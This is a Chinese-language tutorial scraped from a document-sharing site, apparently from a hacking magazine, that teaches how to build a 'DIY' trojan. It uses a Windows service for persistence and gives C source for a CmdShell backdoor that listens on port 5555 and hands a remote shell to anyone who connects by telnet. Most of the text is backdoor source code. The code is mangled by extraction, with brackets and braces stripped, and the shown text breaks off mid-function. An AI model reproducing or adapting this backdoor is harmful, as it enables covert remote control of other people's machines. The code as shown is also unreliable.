《木马编程DIY服务启动技术.doc》由会员分享,可在线阅读,更多相关《木马编程DIY服务启动技术.doc(9页珍藏版)》请在金锄头文库上搜索。
1、木马编程DIY服务启动技术文/图 冷风随意打开一个木马的服务生成端,你都能发现里面有一种启动方式叫“服务启动”,也就是说这个技术以经是大众化的了,但是你写过这样的程序吗?如果写过的话,你就可以泡杯茶先休息一下,如果还不是太了解的话,那就一块来学习一下通常编写一个服务需要两个程序,一个是实现功能的Service程序,一个是用于对Service程序进行控制的控制程序。这里需要注意的是实现Service功能的程序与一般的程序是有区别的,其区别并不仅仅在于是不是有GUI窗体,在其格式上也有着不同,下面我们先写一个CmdShell后门的Service程序。对于Service程序来说,它一般又由以下四部分
2、组成:main(),ServiceMain()和Handler()当然还有我们的功能实现函数比如MyWork()它们之间的关系,用一个简单的图示就可以了然于胸了如图示1,其服务程序的基本流程就是由main()调用ServiceMain()而由ServiceMain()调用Handler()和执行功能函数MyWork()到现在为止,你以经大体了解了服务程序的流程,按上面的流程一步一步来实现这个后门程序。1.程序的入口main()函数服务程序的入口与普通程序一样也是从main()开始,但不同的是服务程序的main极为简单,因为它只负责创建分派表并启动控制分派机,其代码如下:void main()
3、SERVICE_TABLE_ENTRY ServiceTable2; ServiceTable0.lpServiceName = Name;/线程名字 ServiceTable0.lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;/线程入口地址 ServiceTable1.lpServiceName = NULL; ServiceTable1.lpServiceProc = NULL;/最后一个必须为NULL StartServiceCtrlDispatcher(ServiceTable);/ 启动服务的控制分派机线程main()是Ser
4、vice程序的主线程,当servie control manager开始一个Service进程时,它总是等待这个Service程序去调用StartServiceCtrlDispatcher()函数。当执行服务时main()时将会调用ServiceMain函数,当ServiceMain执行完毕或者说发生错误时StartServiceCtrlDispatcher函数返回,然后主进程终止。2. 服务的真正入口ServiceMain()ServiceMain()是Service程序的真正入口点,它主要完成以下功能,首先注册一个Handler去处理控制程序或控制面板,Service的控制要求,比如 启动
5、,停止,暂停重起等,其次就是实现我们的功能操作,其实现代码如下:VOID WINAPI ServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ) DWORD status = 0; DWORD specificError = 0xfffffff; ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SER
6、VICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; /调用RegisterServiceCtrlHandler()注册一个ServiceHandler函数用来处理程序对Service的控制要求 hStatus = RegisterServiceCtrlHand
7、ler(ServiceName,(LPHANDLER_FUNCTION)ServiceHandler); if (hStatus=0) return; / Handle error condition status = GetLastError(); if (status!=NO_ERROR) ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; ServiceStatus.dwWin32ExitCode = status; Se
8、rviceStatus.dwServiceSpecificExitCode = specificError; SetServiceStatus(hStatus, &ServiceStatus); return; / Initialization complete - report running status ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(hStatus, &Service
9、Status); /启动自己的工作线程 HANDLE hThread=CreateThread(NULL,0,mainfun,NULL,0,NULL); if(hThread=NULL) return;在ServiceMain中通过RegisterServiceCtrlHandler注册一个ServiceHandler函数用来处理程序对Service的控制要求其ServiceHandler函数的实现代码如下:3.ServiceHandler()函数当你打开服务管理器,启动或者停止一个服务的时候,对你的操作进行响应的就是ServiceHandler()函数,它会判断你的操作然后做出响应其实现代码
10、如下:VOID WINAPI ServiceHandler(DWORD fdwControl) switch(fdwControl) case SERVICE_CONTROL_PAUSE: ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: Service
11、Status.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(hStatus,&ServiceStatus); return ; case SERVICE_CONTROL_INTERROGATE: break; default: break; SetServiceStatus(hStatus,&ServiceStatus);/设置状态 return
12、;到现在,服务的主要三个函数就算完工了,下面就是我们实现CmdShell后的代码了4.功能实现函数这是一个简单的双管道的CmdShell服务端,运行后可以使用Telnet ip 5555进行连接,成功后会得到一个SHELL其实现代码如下:DWORD WINAPI mainfun(LPVOID lpParam) WSADATA wsadata; SOCKET server; SOCKET client; SOCKADDR_IN serveraddr; SOCKADDR_IN clientaddr; int port=5555; WORD ver=MAKEWORD(2,2); /判断winsock
13、版本 WSAStartup(ver,&wsadata); /初始SOCKET server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET; serveraddr.sin_port=htons(port); serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr); listen(server,5); int len=sizeof(clientaddr); client=accept(server,(sockaddr *)&clientaddr,&len); HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell; SECURITY_ATTRIBUTES saPipe; STARTUPINFO lpStartupInfo; PROCESS_INFORMATION lpProcessInfo; cha